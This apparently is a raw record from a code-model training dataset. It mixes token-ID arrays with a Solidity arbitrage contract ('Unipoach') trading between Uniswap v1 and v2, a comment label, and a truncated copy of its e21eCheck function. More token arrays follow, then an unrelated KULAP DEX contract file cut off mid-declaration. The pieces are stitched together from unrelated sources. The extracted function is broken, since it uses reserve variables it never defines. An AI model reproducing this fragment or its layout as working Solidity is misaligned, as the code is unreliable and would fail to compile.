[ 1, 27622, 1147, 225, 389, 1673, 1887, 1758, 225, 389, 2704, 1887, 1758, 1387, 30, 20092, 19, 2316, 19, 510, 601, 86, 1345, 18, 18281, 225, 934, 601, 86, 1345, 225, 934, 601, 86, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 934, 601, 86, 1345, 353, 490, 474, 429, 1345, 16, 3155, 426, 17399, 288, 203, 203, 565, 533, 1071, 508, 31, 203, 565, 533, 1071, 3273, 31, 203, 565, 2254, 28, 1071, 5381, 15105, 273, 6549, 31, 203, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 3719, 2713, 1699, 1359, 67, 31, 203, 203, 565, 871, 3155, 28414, 5621, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 389, 529, 16, 203, 3639, 533, 3778, 389, 7175, 16, 203, 3639, 3497, 7523, 389, 20409, 16, 203, 3639, 1758, 389, 685, 7216, 758, 1724, 280, 16, 203, 3639, 1758, 389, 685, 7216, 1669, 19293, 16, 203, 3639, 1758, 389, 2316, 27622, 264, 203, 565, 262, 203, 3639, 1071, 203, 3639, 3497, 7523, 329, 24899, 20409, 13, 203, 3639, 1186, 7216, 22897, 24899, 685, 7216, 758, 1724, 280, 16, 389, 685, 7216, 1669, 19293, 13, 203, 3639, 3155, 426, 17399, 24899, 2316, 27622, 264, 13, 203, 565, 445, 5910, 1345, 12, 2867, 389, 1673, 1887, 16, 1758, 389, 2704, 1887, 13, 1071, 31, 203, 203, 97, 203, 203, 203, 683, 9454, 18035, 560, 374, 18, 25, 18, 2138, 31, 203, 203, 203, 203, 203, 203, 565, 288, 203, 3639, 508, 273, 389, 529, 31, 203, 3639, 3273, 273, 389, 7175, 31, 203, 565, 289, 203, 203, 565, 445, 23819, 1435, 1071, 1338, 49, 2761, 288, 203, 3639, 3626, 3155, 28414, 5621, 203, 3639, 365, 5489, 8813, 12, 2867, 12, 11890, 16874, 12, 8443, 3719, 1769, 203, 565, 289, 203, 203, 565, 445, 2 ]
pragma solidity ^0.5.17; // https://github.com/Uniswap/uniswap-v1/blob/master/contracts/uniswap_exchange.vy // uv1F https://etherscan.io/address/0xc0a47dfe034b400b47bdad5fecda2621de6c4d95#code // uv2F https://etherscan.io/address/0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f#code // uv2 router: https://etherscan.io/address/0x7a250d5630b4cf539739df2c5dacb4c659f2488d#code // WETH 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 // ropDAI 0xaD6D458402F60fD3Bd25163575031ACDce07538D // DAI 0x6b175474e89094c44da98b954eedeac495271d0f // DAI uv1 0x2a1530C4C41db0B0b2bB646CB5Eb1A67b7158667 // DAI uv2 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11 // BAT 0x0d8775f648430679a709e98d2b0cb6250d2887ef // 10000000000 contract Unipoach { address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //address weth = 0xc778417E063141139Fce010982780140Aa0cD5Ab; // Ropsten Uv1F uv1F = Uv1F(0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95); //Uv1F uv1F = Uv1F(0x9c83dCE8CA20E9aAF9D3efc003b2ea62aBC08351); // Ropsten Uv2F uv2F = Uv2F(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); Uv2Router uv2Router = Uv2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint public e12eGas = 0; uint public e21eGas = 0; function getBalance() public view returns(uint balance) { balance = address(this).balance; } function setgas(uint e12eLimit,uint e21eLimit) public{ e12eGas=e12eLimit; e21eGas=e21eLimit; } function e12e(address token) public payable returns (uint256 outgoing){ address uv1exchange = uv1F.getExchange(token); address uv2exchange = uv2F.getPair(weth,token); require(uv1exchange!=address(0), "no uniswap-v1 exchange for this token"); require(uv2exchange!=address(0), "no uniswap-v2 exchange for this token"); Uv1 uv1 = Uv1(uv1exchange); Uv2 uv2 = Uv2(uv2exchange); ERC20 erc20 = ERC20(token); // https://ropsten.etherscan.io/tx/0xb011260183b81e7e7592b1945bdec63e1e35c9d81b02980747a07fd8c5ed4d6c address[] memory path = new address[](2); path[0]=token; path[1]=weth; uint256 token_count; token_count=uv1.ethToTokenSwapInput.value(address(this).balance)(1,block.timestamp+600); // https://ropsten.etherscan.io/tx/0x2c6cf92bd8f8bb60cb5e06c90037b72a394a7173ad9dbd567731b2d180299c60 // erc20.approve(address(uv2Router),0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); // https://ropsten.etherscan.io/tx/0x52a0ec778d67238d3df09eae7eda2650025c1e9618d92d55ce814ea15c73cdfe uint256[] memory values = uv2Router.swapExactTokensForETH(token_count, 1, path,msg.sender,block.timestamp+600); uint256 winnings=values[1]; require(winnings>msg.value+tx.gasprice*e12eGas,"OOPS NM"); } function e12eCheck(address token, uint256 value) public view returns (uint256 outgoing){ // summon the exchange contracts address uv1exchange = uv1F.getExchange(token); address uv2exchange = uv2F.getPair(weth,token); require(uv1exchange!=address(0), "no uniswap-v1 exchange for this token"); require(uv2exchange!=address(0), "no uniswap-v2 exchange for this token"); Uv1 uv1 = Uv1(uv1exchange); Uv2 uv2 = Uv2(uv2exchange); uint256 token_count = uv1.getEthToTokenInputPrice(value); // get tokens from v1 (uint r0,uint r1,uint time) = uv2.getReserves(); return uv2Router.quote(token_count,r0,r1); // spend tokens on v2 } function e21e(address token) public payable returns (uint256 outgoing){ address uv1exchange = uv1F.getExchange(token); address uv2exchange = uv2F.getPair(weth,token); require(uv1exchange!=address(0), "no uniswap-v1 exchange for this token"); require(uv2exchange!=address(0), "no uniswap-v2 exchange for this token"); Uv1 uv1 = Uv1(uv1exchange); Uv2 uv2 = Uv2(uv2exchange); ERC20 erc20 = ERC20(token); address[] memory path = new address[](2); path[0]=weth; path[1]=token; // buy some tokens // 0,["0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2","0x6b175474e89094c44da98b954eedeac495271d0f"],"0x7ab874Eeef0169ADA0d225E9801A3FfFfa26aAC3",1600000000 //uint256[] memory values = uv2Router.swapExactETHForTokens.value(address(this).balance)(0, path, address(this), block.timestamp+600); // https://etherscan.io/tx/0x2456b6ba6f894cc0e8f1bba8ee529f19da78f9c5f3f20bf923993ca5a940570f uint256[] memory values = uv2Router.swapExactETHForTokens.value(address(this).balance)(0, path, address(this), block.timestamp+600); // https://etherscan.io/tx/0x2456b6ba6f894cc0e8f1bba8ee529f19da78f9c5f3f20bf923993ca5a940570f uint256 token_count=values[1]; // quantity of tokenns purchased in second slot // this uses 19829 gas, better to skip? // about 0.1 ETH, or 40 dollars around time of testing erc20.approve(uv1exchange,0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); // sell some tokens uint256 winnings = uv1.tokenToEthTransferInput(token_count,1,block.timestamp+600,msg.sender); require(winnings>msg.value+tx.gasprice*e21eGas,"OOPS NM"); } function approveIt(address token) public { //address token = 0x0D8775F648430679A709E98d2b0Cb6250d2887EF; address spender = uv1F.getExchange(token); ERC20 erc20 = ERC20(token); // let's be nice and revert if we're already approved require(erc20.allowance(address(this),address(uv2Router))==0,"ALREADY GOOD"); erc20.approve(address(uv2Router),0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); erc20.approve(spender,0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); } function e21eCheck(address token, uint256 value) public view returns (uint256 outgoing){ // summon the exchange contracts address uv1exchange = uv1F.getExchange(token); address uv2exchange = uv2F.getPair(weth,token); require(uv1exchange!=address(0), "no uniswap-v1 exchange for this token"); require(uv2exchange!=address(0), "no uniswap-v2 exchange for this token"); Uv1 uv1 = Uv1(uv1exchange); Uv2 uv2 = Uv2(uv2exchange); (uint r0,uint r1,uint time) = uv2.getReserves(); // get tokens from v1 uint token_count = uv2Router.quote(value,r1,r0); return uv1.getTokenToEthInputPrice(token_count); // spend them on v1 } } // interfaces interface Uv1F{ function getExchange(address token) external pure returns (address exchange); } interface Uv1{ function getEthToTokenInputPrice(uint256 value) external pure returns (uint256 count); function getTokenToEthInputPrice(uint256 value) external pure returns (uint256 count); function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256); function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought); function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought); } interface Uv2F{ function getPair(address token0, address token1) external pure returns (address pair); } interface Uv2{ function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast); } interface Uv2Router{ function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); } interface ERC20{ function approve(address spender, uint256 value)external returns(bool); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function balanceOf(address _owner) external view returns (uint256 balance); }
summon the exchange contracts
function e21eCheck(address token, uint256 value) public view returns (uint256 outgoing){ address uv1exchange = uv1F.getExchange(token); address uv2exchange = uv2F.getPair(weth,token); require(uv1exchange!=address(0), "no uniswap-v1 exchange for this token"); require(uv2exchange!=address(0), "no uniswap-v2 exchange for this token"); Uv1 uv1 = Uv1(uv1exchange); Uv2 uv2 = Uv2(uv2exchange); uint token_count = uv2Router.quote(value,r1,r0); }
12,697,293
[ 1, 1364, 2586, 326, 7829, 20092, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 425, 5340, 73, 1564, 12, 2867, 1147, 16, 2254, 5034, 460, 13, 1071, 1476, 1135, 261, 11890, 5034, 12902, 15329, 203, 203, 377, 1758, 14303, 21, 16641, 273, 14303, 21, 42, 18, 588, 11688, 12, 2316, 1769, 203, 377, 1758, 14303, 22, 16641, 273, 14303, 22, 42, 18, 588, 4154, 12, 91, 546, 16, 2316, 1769, 203, 377, 2583, 12, 16303, 21, 16641, 5, 33, 2867, 12, 20, 3631, 315, 2135, 640, 291, 91, 438, 17, 90, 21, 7829, 364, 333, 1147, 8863, 203, 377, 2583, 12, 16303, 22, 16641, 5, 33, 2867, 12, 20, 3631, 315, 2135, 640, 291, 91, 438, 17, 90, 22, 7829, 364, 333, 1147, 8863, 203, 377, 587, 90, 21, 14303, 21, 273, 587, 90, 21, 12, 16303, 21, 16641, 1769, 203, 377, 587, 90, 22, 14303, 22, 273, 587, 90, 22, 12, 16303, 22, 16641, 1769, 203, 377, 203, 377, 2254, 1147, 67, 1883, 273, 14303, 22, 8259, 18, 6889, 12, 1132, 16, 86, 21, 16, 86, 20, 1769, 203, 1377, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Dependency file: @openzeppelin/contracts/GSN/Context.sol // pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Dependency file: contracts/interfaces/IKULAPDex.sol // pragma solidity 0.5.17; // import "../helper/ERC20Interface.sol"; // import "./IKULAPTradingProxy.sol"; interface IKULAPDex { // /** // * @dev when new trade occure (and success), this event will be boardcast. // * @param _src Source token // * @param _srcAmount amount of source tokens // * @param _dest Destination token // * @return _destAmount: amount of actual destination tokens // */ // event Trade(ERC20 _src, uint256 _srcAmount, ERC20 _dest, uint256 _destAmount); /** * @notice use token address 0xeee...eee for ether * @dev makes a trade between src and dest token by tradingProxyIndex * Ex1: trade 0.5 ETH -> EOS * 0, "0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", "500000000000000000", "0xd3c64BbA75859Eb808ACE6F2A6048ecdb2d70817", "21003850000000000000" * Ex2: trade 30 EOS -> ETH * 0, "0xd3c64BbA75859Eb808ACE6F2A6048ecdb2d70817", "30000000000000000000", "0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", "740825000000000000" * @param tradingProxyIndex index of trading proxy * @param src Source token * @param srcAmount amount of source tokens * @param dest Destination token * @param minDestAmount minimun destination amount * @param partnerIndex index of partnership for revenue sharing * @return amount of actual destination tokens */ function trade( uint256 tradingProxyIndex, ERC20 src, uint256 srcAmount, ERC20 dest, uint256 minDestAmount, uint256 partnerIndex ) external payable returns(uint256); /** * @notice use token address 0xeee...eee for ether * @dev makes a trade with multiple routes ex. UNI -> ETH -> DAI * Ex: trade 50 UNI -> ETH -> DAI * Step1: trade 50 UNI -> ETH * Step2: trade xx ETH -> DAI * srcAmount: 50 * 1e18 * routes: [0, 1] * srcTokens: [0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE] * destTokens: [0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 0x6B175474E89094C44Da98b954EedeAC495271d0F] * @param srcAmount amount of source tokens * @param minDestAmount minimun destination amount * @param routes Trading paths * @param srcTokens all source of token pairs * @param destTokens all destination of token pairs * @param partnerIndex index of partnership for revenue sharing * @return amount of actual destination tokens */ function tradeRoutes( uint256 srcAmount, uint256 minDestAmount, uint256[] calldata routes, ERC20[] calldata srcTokens, ERC20[] calldata destTokens, uint256 partnerIndex ) external payable returns(uint256); /** * @notice use token address 0xeee...eee for ether * @dev makes a trade with split volumes to multiple-routes ex. UNI -> ETH (5%, 15% and 80%) * @param routes Trading paths * @param src Source token * @param srcAmounts amount of source tokens * @param dest Destination token * @param minDestAmount minimun destination amount * @param partnerIndex index of partnership for revenue sharing * @return amount of actual destination tokens */ function splitTrades( uint256[] calldata routes, ERC20 src, uint256[] calldata srcAmounts, ERC20 dest, uint256 minDestAmount, uint256 partnerIndex ) external payable returns(uint256); /** * @notice use token address 0xeee...eee for ether * @dev get amount of destination token for given source token amount * @param tradingProxyIndex index of trading proxy * @param src Source token * @param dest Destination token * @param srcAmount amount of source tokens * @return amount of actual destination tokens */ function getDestinationReturnAmount( uint256 tradingProxyIndex, ERC20 src, ERC20 dest, uint256 srcAmount, uint256 partnerIndex ) external view returns(uint256); function getDestinationReturnAmountForSplitTrades( uint256[] calldata routes, ERC20 src, uint256[] calldata srcAmounts, ERC20 dest, uint256 partnerIndex ) external view returns(uint256); function getDestinationReturnAmountForTradeRoutes( ERC20 src, uint256 srcAmount, ERC20 dest, address[] calldata _tradingPaths, uint256 partnerIndex ) external view returns(uint256); } // Dependency file: contracts/interfaces/IKULAPTradingProxy.sol // pragma solidity 0.5.17; // import "../helper/ERC20Interface.sol"; /** * @title KULAP Trading Proxy * @dev The KULAP trading proxy interface has an standard functions and event * for other smart contract to implement to join KULAP Dex as Market Maker. */ interface IKULAPTradingProxy { /** * @dev when new trade occure (and success), this event will be boardcast. * @param _src Source token * @param _srcAmount amount of source tokens * @param _dest Destination token * @return _destAmount: amount of actual destination tokens */ event Trade(ERC20 _src, uint256 _srcAmount, ERC20 _dest, uint256 _destAmount); /** * @notice use token address 0xeee...eee for ether * @dev makes a trade between src and dest token * @param _src Source token * @param _dest Destination token * @param _srcAmount amount of source tokens * @return _destAmount: amount of actual destination tokens */ function trade( ERC20 _src, ERC20 _dest, uint256 _srcAmount ) external payable returns(uint256 _destAmount); /** * @dev provide destinationm token amount for given source amount * @param _src Source token * @param _dest Destination token * @param _srcAmount Amount of source tokens * @return _destAmount: amount of expected destination tokens */ function getDestinationReturnAmount( ERC20 _src, ERC20 _dest, uint256 _srcAmount ) external view returns(uint256 _destAmount); /** * @dev provide source token amount for given destination amount * @param _src Source token * @param _dest Destination token * @param _destAmount Amount of destination tokens * @return _srcAmount: amount of expected source tokens */ // function getSourceReturnAmount( // ERC20 _src, // ERC20 _dest, // uint256 _destAmount // ) // external // view // returns(uint256 _srcAmount); } // Dependency file: contracts/helper/ERC20Interface.sol // pragma solidity 0.5.17; /** * @title ERC20 * @dev The ERC20 interface has an standard functions and event * for erc20 compatible token on Ethereum blockchain. */ interface ERC20 { function totalSupply() external view returns (uint supply); function balanceOf(address _owner) external view returns (uint balance); function transfer(address _to, uint _value) external; // Some ERC20 doesn't have return function transferFrom(address _from, address _to, uint _value) external; // Some ERC20 doesn't have return function approve(address _spender, uint _value) external; // Some ERC20 doesn't have return function allowance(address _owner, address _spender) external view returns (uint remaining); function decimals() external view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // Dependency file: @openzeppelin/contracts/ownership/Ownable.sol // pragma solidity ^0.5.0; // import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Dependency file: @openzeppelin/contracts/math/SafeMath.sol // pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Dependency file: @openzeppelin/contracts/utils/ReentrancyGuard.sol // pragma solidity ^0.5.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract ReentrancyGuard { bool private _notEntered; constructor () internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } pragma solidity 0.5.17; // import '@openzeppelin/contracts/utils/ReentrancyGuard.sol'; // import "@openzeppelin/contracts/math/SafeMath.sol"; // import "@openzeppelin/contracts/ownership/Ownable.sol"; // import "./helper/ERC20Interface.sol"; // import "./interfaces/IKULAPTradingProxy.sol"; // import "./interfaces/IKULAPDex.sol"; contract ProxyManagement is Ownable { /** * @dev Struct of trading proxy * @param name Name of trading proxy. * @param enable The flag of trading proxy to check is trading proxy enable. * @param proxy The address of trading proxy. */ struct Proxy { string name; bool enable; IKULAPTradingProxy proxy; } event AddedTradingProxy( address indexed addedBy, string name, IKULAPTradingProxy indexed proxyAddress, uint256 indexed index ); event EnabledTradingProxy( address indexed enabledBy, string name, IKULAPTradingProxy proxyAddress, uint256 indexed index ); event DisabledTradingProxy( address indexed disabledBy, string name, IKULAPTradingProxy indexed proxyAddress, uint256 indexed index ); Proxy[] public tradingProxies; // list of trading proxies modifier onlyTradingProxyEnabled(uint _index) { require(tradingProxies[_index].enable == true, "This trading proxy is disabled"); _; } modifier onlyTradingProxyDisabled(uint _index) { require(tradingProxies[_index].enable == false, "This trading proxy is enabled"); _; } /** * @dev Function for adding new trading proxy * @param _name Name of trading proxy. * @param _proxyAddress The address of trading proxy. * @return length of trading proxies. */ function addTradingProxy( string memory _name, IKULAPTradingProxy _proxyAddress ) public onlyOwner { tradingProxies.push(Proxy({ name: _name, enable: true, proxy: _proxyAddress })); emit AddedTradingProxy(msg.sender, _name, _proxyAddress, tradingProxies.length - 1); } /** * @dev Function for disable trading proxy by index * @param _index The uint256 of trading proxy index. * @return length of trading proxies. */ function disableTradingProxy( uint256 _index ) public onlyOwner onlyTradingProxyEnabled(_index) { tradingProxies[_index].enable = false; emit DisabledTradingProxy(msg.sender, tradingProxies[_index].name, tradingProxies[_index].proxy, _index); } /** * @dev Function for enale trading proxy by index * @param _index The uint256 of trading proxy index. * @return length of trading proxies. */ function enableTradingProxy( uint256 _index ) public onlyOwner onlyTradingProxyDisabled(_index) { tradingProxies[_index].enable = true; emit EnabledTradingProxy(msg.sender, tradingProxies[_index].name, tradingProxies[_index].proxy, _index); } /** * @dev Function for get amount of trading proxy * @return Amount of trading proxies. */ function getProxyCount() public view returns (uint256) { return tradingProxies.length; } /** * @dev Function for get enable status of trading proxy * @param _index The uint256 of trading proxy index. * @return enable status of trading proxy. */ function isTradingProxyEnable(uint256 _index) public view returns (bool) { return tradingProxies[_index].enable; } } /* * Fee collection by partner reference */ contract Partnership is ProxyManagement { using SafeMath for uint256; struct 